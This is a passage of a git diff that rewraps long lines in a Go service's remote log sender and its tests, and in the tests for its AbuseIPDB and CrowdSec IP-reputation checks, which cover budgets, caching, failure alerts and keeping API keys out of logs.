append(record, s.beforeTime...) record = append(record, at...) record = append(record, s.afterTime...) @@ -219,7 +223,10 @@ func (s *Sender) put(record []byte) { // send connects to the endpoint and sends each record as it comes into // the buffer, until ctx is done, and returns the connection then open, or // nil. -func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn { +func (s *Sender) send( + ctx context.Context, + processLog *slog.Logger, +) net.Conn { delay := firstRetryDelay for { diff --git a/internal/remotelog/remotelog_test.go b/internal/remotelog/remotelog_test.go index 6d9a9b0..302fec4 100644 --- a/internal/remotelog/remotelog_test.go +++ b/internal/remotelog/remotelog_test.go @@ -57,16 +57,27 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { - endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback) + endpoint, err := (&net.ListenConfig{}).ListenPacket( + t.Context(), + "udp", + loopback, + ) if err != nil { t.Fatalf("listen: %v", err) } t.Cleanup(func() { _ = endpoint.Close() }) - sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr())) + sender, _, _ := run( + t, + params(remotelog.SchemeUDP, endpoint.LocalAddr()), + ) - _, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n")) + _, _ = sender.Write( + []byte( + `{"type":"request"}` + "\n" + `{"type":"process"}` + "\n", + ), + ) synctest.Wait() wantCounts(t, sender, 2, 0, 0) @@ -108,7 +119,9 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) { }) } -func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) { +func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -174,7 +187,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) { wantCounts(t, sender, 1, 0, 0) conn := endpoint.next(t) - wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one")) + wantFrame( + t, + bufio.NewReader(conn), + record(t, local0Info, appName, "one"), + ) // The endpoint goes away: it closes the connection, and refuses the // next ones. The sender notices when a record fails, and tries to @@ -203,7 +220,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) { wantCounts(t, sender, sent+1, 1, 0) conn = endpoint.next(t) - wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two")) + wantFrame( + t, + bufio.NewReader(conn), + record(t, local0Info, appName, "two"), + ) wantRetries(t, logged, "1s", "2s") }) } @@ -213,12 +234,19 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) { synctest.Test(t, func(t *testing.T) { endpoint := listen(t) - sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr())) + sender, logged, _ := run( + t, + params(remotelog.SchemeTCP, endpoint.Addr()), + ) // The endpoint closes each connection as soon as it takes it. The // sender notices when a record fails, and connects again a second // later, then two seconds after that, then four. - delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second} + delays := []time.Duration{ + time.Second, + 2 * time.Second, + 4 * time.Second, + } for i, delay := range delays { _ = accept(t, endpoint).Close() @@ -230,12 +258,17 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) { }) } -func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) { +func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { endpoint := listen(t) - sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr())) + sender, logged, _ := run( + t, + params(remotelog.SchemeTCP, endpoint.Addr()), + ) _ = accept(t, endpoint).Close() @@ -271,14 +304,21 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { - endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback) + endpoint, err := (&net.ListenConfig{}).ListenPacket( + t.Context(), + "udp", + loopback, + ) if err != nil { t.Fatalf("listen: %v", err) } t.Cleanup(func() { _ = endpoint.Close() }) - sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr())) + sender, logged, _ := run( + t, + params(remotelog.SchemeUDP, endpoint.LocalAddr()), + ) // With its header, the first line's record is longer than the 65507 // bytes a UDP datagram over IPv4 holds. It is dropped, nothing is @@ -372,7 +412,10 @@ func params(scheme string, addr net.Addr) remotelog.Params { // run runs a Sender with settings until the test ends or the function // it returns is called, which waits for Run to return. It returns the // Sender, and what it logs. -func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) { +func run( + t *testing.T, + settings remotelog.Params, +) (*remotelog.Sender, *output, func()) { t.Helper() sender := remotelog.New(settings) @@ -399,7 +442,11 @@ func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, f func listen(t *testing.T) net.Listener { t.Helper() - listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback) + listener, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + loopback, + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -438,11 +485,17 @@ type tlsEndpoint struct { // startTLSEndpoint starts a tlsEndpoint with certificate, which takes // connections until it is told to refuse them. -func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint { +func startTLSEndpoint( + t *testing.T, + certificate tls.Certificate, +) *tlsEndpoint { t.Helper() listener := listen(t) - endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)} + endpoint := &tlsEndpoint{ + addr: listener.Addr(), + conns: make(chan net.Conn, 10), + } config := &tls.Config{ Certificates: []tls.Certificate{certificate}, MinVersion: tls.VersionTLS12, @@ -456,7 +509,8 @@ func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint { } server := tls.Server(conn, config) - if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil { + if endpoint.refusing.Load() || + server.HandshakeContext(t.Context()) != nil { _ = conn.Close() continue @@ -528,9 +582,17 @@ func wantCounts( ) { t.Helper() - if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth { - t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d", - sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth) + if sender.Sent() != sent || sender.Dropped() != dropped || + sender.Depth() != depth { + t.Fatalf( + "sent %d, dropped %d, %d in the buffer; want %d, %d and %d", + sender.Sent(), + sender.Dropped(), + sender.Depth(), + sent, + dropped, + depth, + ) } } @@ -539,7 +601,11 @@ func wantCounts( // connection the endpoint has closed are lost before one fails; how many // depends on when the endpoint's host answers that the connection is // gone. -func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) { +func writeUntilDropped( + t *testing.T, + sender *remotelog.Sender, + dropped int64, +) { t.Helper() for sender.Dropped() < dropped { @@ -586,7 +652,8 @@ func wantRetries(t *testing.T, logged *output, delays ...string) { var fields map[string]any err := json.Unmarshal([]byte(line), &fields) - if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" { + if err != nil || + fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" { t.Fatalf("logged %q", line) } @@ -595,7 +662,11 @@ func wantRetries(t *testing.T, logged *output, delays ...string) { } if !slices.Equal(got, delays) { - t.Errorf("logged failures to connect again in %v, want %v", got, delays) + t.Errorf( + "logged failures to connect again in %v, want %v", + got, + delays, + ) } } @@ -618,8 +689,10 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) { IsCA: true, BasicConstraintsValid: true, KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature, - ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, - IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, + ExtKeyUsage: []x509.ExtKeyUsage{ + x509.ExtKeyUsageServerAuth, + }, + IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, } der, err := x509.CreateCertificate(rand.Reader, template, template, @@ -636,5 +709,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) { roots := x509.NewCertPool() roots.AddCert(certificate) - return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots + return tls.Certificate{ + Certificate: [][]byte{der}, + PrivateKey: key, + }, roots } diff --git a/internal/reputation/abuseipdb.go b/internal/reputation/abuseipdb.go index a1fc107..87880b1 100644 --- a/internal/reputation/abuseipdb.go +++ b/internal/reputation/abuseipdb.go @@ -260,7 +260,11 @@ func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) { // the score as client's, and notes the check as no longer under way. A // check that fails gives no score: it is counted, logged and raised as a // source_failure alert, and no client is checked for failureDelay. -func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) { +func (a *AbuseIPDB) check( + ctx context.Context, + client netip.Prefix, + addr netip.Addr, +) { score, err := a.ask(ctx, addr) now := a.params.Now() @@ -269,7 +273,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A delete(a.checking, client) if err == nil { - a.scores.Add(client, Score{Client: client, Score: score, Fetched: now}) + a.scores.Add( + client, + Score{Client: client, Score: score, Fetched: now}, + ) } else { a.failures++ a.retryAt = now.Add(failureDelay) @@ -285,7 +292,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A // ask asks AbuseIPDB for addr's abuse confidence score, sending the key // in the header Key. An answer other than 200, one that gives no score, // and none within Timeout, fail. -func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) { +func (a *AbuseIPDB) ask( + ctx context.Context, + addr netip.Addr, +) (int64, error) { ctx, cancel := context.WithTimeout(ctx, a.params.Timeout) defer cancel() @@ -321,7 +331,8 @@ func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) { } `json:"data"` } - err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer) + err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)). + Decode(&answer) if err != nil { return 0, fmt.Errorf("read the answer: %w", err) } @@ -339,5 +350,11 @@ func (a *AbuseIPDB) alert(reason string, err error) { // Raised before it is logged, so that the alert is there once the log // line is. raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err) - a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error()) + a.params.ProcessLog.Warn( + reason, + "source", + AbuseIPDBSource, + "error", + err.Error(), + ) } diff --git a/internal/reputation/abuseipdb_test.go b/internal/reputation/abuseipdb_test.go index c0b971a..8b62cfd 100644 --- a/internal/reputation/abuseipdb_test.go +++ b/internal/reputation/abuseipdb_test.go @@ -41,7 +41,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { - abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} + abuseIPDB := &abuseIPDBStandIn{ + scores: map[string]int64{suspect: 100}, + } checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) // A client that has committed no offence is not checked. @@ -60,7 +62,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) { }) } -func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) { +func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -68,10 +72,15 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing. // it of its own. var addresses []string for i := 1; i < 16; i++ { - addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12)) + addresses = append( + addresses, + fmt.Sprintf("2001:db8:1:2:%x::9", i<<12), + ) } - abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}} + abuseIPDB := &abuseIPDBStandIn{ + scores: map[string]int64{addresses[0]: 100}, + } checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) // A request from each has the client checked once, by the first. @@ -96,7 +105,11 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { - scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100} + scores := map[string]int64{ + "192.0.2.74": 74, + "192.0.2.75": 75, + "192.0.2.100": 100, + } p := abuseIPDBParams() p.MinScore = 75 checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p) @@ -117,7 +130,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { - abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} + abuseIPDB := &abuseIPDBStandIn{ + scores: map[string]int64{suspect: 100}, + } checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams()) hitFrom(t, checker, suspect, true) @@ -141,7 +156,9 @@ func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) { }) } -func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) { +func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -152,7 +169,9 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) { p.DailyBudget = 3 p.Alerts = queue p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) - abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} + abuseIPDB := &abuseIPDBStandIn{ + scores: map[string]int64{suspect: 100}, + } checker := newAbuseIPDB(abuseIPDB, p) // At noon, the first three offenders spend the budget, and the @@ -173,8 +192,14 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) { // The check that used the budget up raised the alert, and logged it. const usedUp = "the daily budget of AbuseIPDB checks is used up" - wantFailureAlert(t, queue, time.Now(), usedUp, - "3 checks spent; none is made until the day ends at 00:00 UTC", 0) + wantFailureAlert( + t, + queue, + time.Now(), + usedUp, + "3 checks spent; none is made until the day ends at 00:00 UTC", + 0, + ) if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) { t.Errorf("logged\n%s\nwant the budget used up", log.String()) @@ -214,7 +239,9 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) { p := abuseIPDBParams() p.DailyBudget = 1 p.Now = func() time.Time { return time.Now().In(ahead) } - abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} + abuseIPDB := &abuseIPDBStandIn{ + scores: map[string]int64{suspect: 100}, + } checker := newAbuseIPDB(abuseIPDB, p) // At 09:00 UTC the one check is spent. @@ -238,7 +265,9 @@ func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) { }) } -func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) { +func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -282,7 +311,10 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) { p.Key = tc.key p.Alerts = queue p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) - abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body} + abuseIPDB := &abuseIPDBStandIn{ + status: tc.status, + body: tc.body, + } checker := newAbuseIPDB(abuseIPDB, p) // The failure gives no score, and no client is checked within a @@ -310,8 +342,11 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) { wantFailureAlert(t, queue, time.Now().Add(-time.Minute), "checking a client with AbuseIPDB failed", tc.error, 1) - if !strings.Contains(log.String(), `"msg":"checking a client with `+ - `AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) { + if !strings.Contains( + log.String(), + `"msg":"checking a client with `+ + `AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error, + ) { t.Errorf("logged\n%s\nwant the failures", log.String()) } }) @@ -319,7 +354,9 @@ func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) { } } -func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) { +func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -346,8 +383,14 @@ func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) { time.Sleep(time.Nanosecond) synctest.Wait() wantFailures(t, checker, 1) - wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed", - "check the client: context deadline exceeded", 0) + wantFailureAlert( + t, + queue, + time.Now(), + "checking a client with AbuseIPDB failed", + "check the client: context deadline exceeded", + 0, + ) }) } @@ -361,10 +404,15 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) { p := abuseIPDBParams() p.Alerts = queue p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) - abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}} + abuseIPDB := &abuseIPDBStandIn{ + scores: map[string]int64{suspect: 100}, + } checker := newAbuseIPDB(abuseIPDB, p) m := metrics.New(1, "app") - m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams())) + m.AddReputation( + reputation.New(params()), + reputation.NewDNSBL(dnsblParams()), + ) m.AddAbuseIPDB(checker) // One check that AbuseIPDB answers, and one it refuses with an answer @@ -373,7 +421,10 @@ func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) { synctest.Wait() wantScore(t, checker, suspect, true, 100, true) - abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`) + abuseIPDB.answerWith( + http.StatusUnauthorized, + `{"errors":[{"detail":"`+key+`"}]}`, + ) wantScore(t, checker, other, true, 0, false) synctest.Wait() wantFailures(t, checker, 1) @@ -416,7 +467,10 @@ func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) { p.DailyBudget = 5 checker := newAbuseIPDB(abuseIPDB, p) m := metrics.New(1, "app") - m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams())) + m.AddReputation( + reputation.New(params()), + reputation.NewDNSBL(dnsblParams()), + ) m.AddAbuseIPDB(checker) // One check that AbuseIPDB answers, and one that fails. @@ -472,7 +526,9 @@ func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) { } } -func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) { +func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst( + t *testing.T, +) { t.Parallel() now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) @@ -501,7 +557,10 @@ func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) got := checker.Snapshot() if len(got) != count-1 || !slices.Contains(got, scores[0]) || slices.Contains(got, scores[count-1]) { - t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got)) + t.Errorf( + "%d scores kept, want all but the one fetched longest ago", + len(got), + ) } } @@ -522,7 +581,9 @@ type abuseIPDBStandIn struct { // RoundTrip has the stand-in answer req, in place of the network. A check // abandoned before the stand-in answers fails, as over the network. -func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) { +func (s *abuseIPDBStandIn) RoundTrip( + req *http.Request, +) (*http.Response, error) { client := req.URL.Query().Get("ipAddress") sent := req.Header.Get("Key") @@ -542,8 +603,11 @@ func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) status = http.StatusUnauthorized case status == 0: status = http.StatusOK - body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client, - score) + body = fmt.Sprintf( + `{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, + client, + score, + ) } return &http.Response{ @@ -603,15 +667,25 @@ func newAbuseIPDB( // wantScore checks the score checker gives client, and whether it is a // hit, as a request from client finds them, offender or not. func wantScore( - t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool, - score int64, hit bool, + t *testing.T, + checker *reputation.AbuseIPDB, + client string, + offender bool, + score int64, + hit bool, ) { t.Helper() gotScore, gotHit := hitFrom(t, checker, client, offender) if gotScore != score || gotHit != hit { - t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit, - score, hit) + t.Errorf( + "%s has the score %d, a hit %t, want %d, %t", + client, + gotScore, + gotHit, + score, + hit, + ) } } @@ -619,7 +693,10 @@ func wantScore( // Its client is address for an IPv4 address, and its /64 for an IPv6 one, // as sww counts clients. func hitFrom( - t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool, + t *testing.T, + checker *reputation.AbuseIPDB, + address string, + offender bool, ) (int64, bool) { t.Helper() @@ -663,7 +740,10 @@ func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) { // the error failure, and that the cooldown has held back held repeats of // it. func wantFailureAlert( - t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string, + t *testing.T, + queue *alerts.Queue, + raised time.Time, + reason, failure string, held int64, ) { t.Helper() @@ -673,8 +753,15 @@ func wantFailureAlert( got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason || got[0].Detail["source"] != reputation.AbuseIPDBSource || got[0].Detail["error"] != failure || queue.Suppressed() != held { - t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+ - "and %d", got, queue.Suppressed(), reason, failure, held) + t.Errorf( + "alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+ + "and %d", + got, + queue.Suppressed(), + reason, + failure, + held, + ) } } @@ -692,8 +779,11 @@ func scrapeMetrics(t *testing.T, m *metrics.Metrics) string { t.Helper() scraped := httptest.NewRecorder() - m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", - http.NoBody)) + m.ServeHTTP( + scraped, + httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", + http.NoBody), + ) return scraped.Body.String() } diff --git a/internal/reputation/crowdsec_test.go b/internal/reputation/crowdsec_test.go index 2ae9268..5fa7157 100644 --- a/internal/reputation/crowdsec_test.go +++ b/internal/reputation/crowdsec_test.go @@ -37,7 +37,9 @@ const ( rangeScope = "Range" ) -func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) { +func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -48,7 +50,13 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test // A shorter decision on the same address, which is not the one // used. {"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)}, - {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)}, + { + rangeScope, + "198.51.100.0/24", + ban, + probing, + began.Add(time.Hour), + }, {"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)}, // Left out: a decision to show a captcha, and one on a country. {"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)}, @@ -74,14 +82,28 @@ func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *test e.set(func(e *engine) { e.failing = true }) time.Sleep(time.Hour - time.Nanosecond) synctest.Wait() - wantDecision(t, lists, "198.51.100.7", - reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}) + wantDecision( + t, + lists, + "198.51.100.7", + reputation.Decision{ + Expires: began.Add(time.Hour), + Scenario: probing, + }, + ) time.Sleep(time.Nanosecond) synctest.Wait() wantDecision(t, lists, "198.51.100.7", reputation.Decision{}) - wantDecision(t, lists, suspect, - reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual}) + wantDecision( + t, + lists, + suspect, + reputation.Decision{ + Expires: began.Add(6 * time.Hour), + Scenario: manual, + }, + ) }) } @@ -96,7 +118,10 @@ func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) { lists := start(t, e, crowdSecParams()) wantEngineFetches(t, e, 1) - added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing} + added := reputation.Decision{ + Expires: began.Add(2 * time.Hour), + Scenario: probing, + } e.set(func(e *engine) { e.decisions = append(e.decisions, @@ -125,23 +150,58 @@ func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) { // 198.51.100.130 is held by a decision on its address that ends // after the one on its netblock, and 192.0.2.20 by one that ends // before. - {rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)}, + { + rangeScope, + "198.51.100.128/25", + ban, + sshBF, + began.Add(time.Hour), + }, {"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)}, - {rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)}, + { + rangeScope, + "192.0.2.0/24", + ban, + probing, + began.Add(5 * time.Hour), + }, {"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)}, }} lists := start(t, e, crowdSecParams()) - wantDecision(t, lists, suspect, - reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing}) - wantDecision(t, lists, "198.51.100.130", - reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing}) - wantDecision(t, lists, "192.0.2.20", - reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing}) + wantDecision( + t, + lists, + suspect, + reputation.Decision{ + Expires: began.Add(4 * time.Hour), + Scenario: probing, + }, + ) + wantDecision( + t, + lists, + "198.51.100.130", + reputation.Decision{ + Expires: began.Add(3 * time.Hour), + Scenario: probing, + }, + ) + wantDecision( + t, + lists, + "192.0.2.20", + reputation.Decision{ + Expires: began.Add(5 * time.Hour), + Scenario: probing, + }, + ) }) } -func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) { +func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -203,27 +263,43 @@ func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey( } wantEngineFetches(t, e, 3) - wantDecision(t, lists, suspect, - reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF}) + wantDecision( + t, + lists, + suspect, + reputation.Decision{ + Expires: began.Add(4 * time.Hour), + Scenario: sshBF, + }, + ) want := kept[0] want.Tried = time.Now() - if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) { - t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want) + got := lists.Snapshot() + if !reflect.DeepEqual(got, []reputation.List{want}) { + t.Errorf( + "lists %+v, want the first copy, last tried now, %+v", + got, + want, + ) } - if lists.Failures(decisionsURL) != 2 { - t.Errorf("%d failures, want 2", lists.Failures(decisionsURL)) + if n := lists.Failures(decisionsURL); n != 2 { + t.Errorf("%d failures, want 2", n) } // One alert for the first failure; the cooldown holds back the // second. - wantAlert(t, queue, - fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error)) + failed := time.Now().Add(-time.Minute) + alert := fetchFailure(failed, decisionsURL, tc.error) + wantAlert(t, queue, alert) - if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+ - `"url":"`+decisionsURL+`","error":"`+tc.error) { + if !strings.Contains( + log.String(), + `"msg":"fetching a list failed",`+ + `"url":"`+decisionsURL+`","error":"`+tc.error, + ) { t.Errorf("logged\n%s\nwant the failures", log.String()) } @@ -293,7 +369,11 @@ func crowdSecFailures() []crowdSecFailure { // log, the alerts waiting in queue, and the copies of lists, which // lists.json keeps. func wantKeyNotShown( - t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue, + t *testing.T, + e *engine, + log string, + lists *reputation.Lists, + queue *alerts.Queue, ) { t.Helper() @@ -315,13 +395,21 @@ func wantKeyNotShown( } } -func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) { +func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { began := time.Now() e := &engine{key: engineKey, decisions: []decision{ - {rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)}, + { + rangeScope, + "198.51.100.0/24", + ban, + probing, + began.Add(time.Hour), + }, }} lists := start(t, e, crowdSecParams()) kept := lists.Snapshot() @@ -342,7 +430,10 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing run(t, again) - want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing} + want := reputation.Decision{ + Expires: began.Add(time.Hour), + Scenario: probing, + } wantDecision(t, again, "198.51.100.7", want) time.Sleep(30*time.Minute - time.Nanosecond) @@ -415,7 +506,8 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) { e.fetches++ - if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" { + if req.URL.String() != decisionsURL && + req.Header.Get("X-Api-Key") != "" { e.keySentTo = append(e.keySentTo, req.URL.String()) } @@ -425,7 +517,9 @@ func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) { case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key: status, body = http.StatusForbidden, `{"message":"access forbidden"}` case e.redirect != "": - status, header = http.StatusFound, 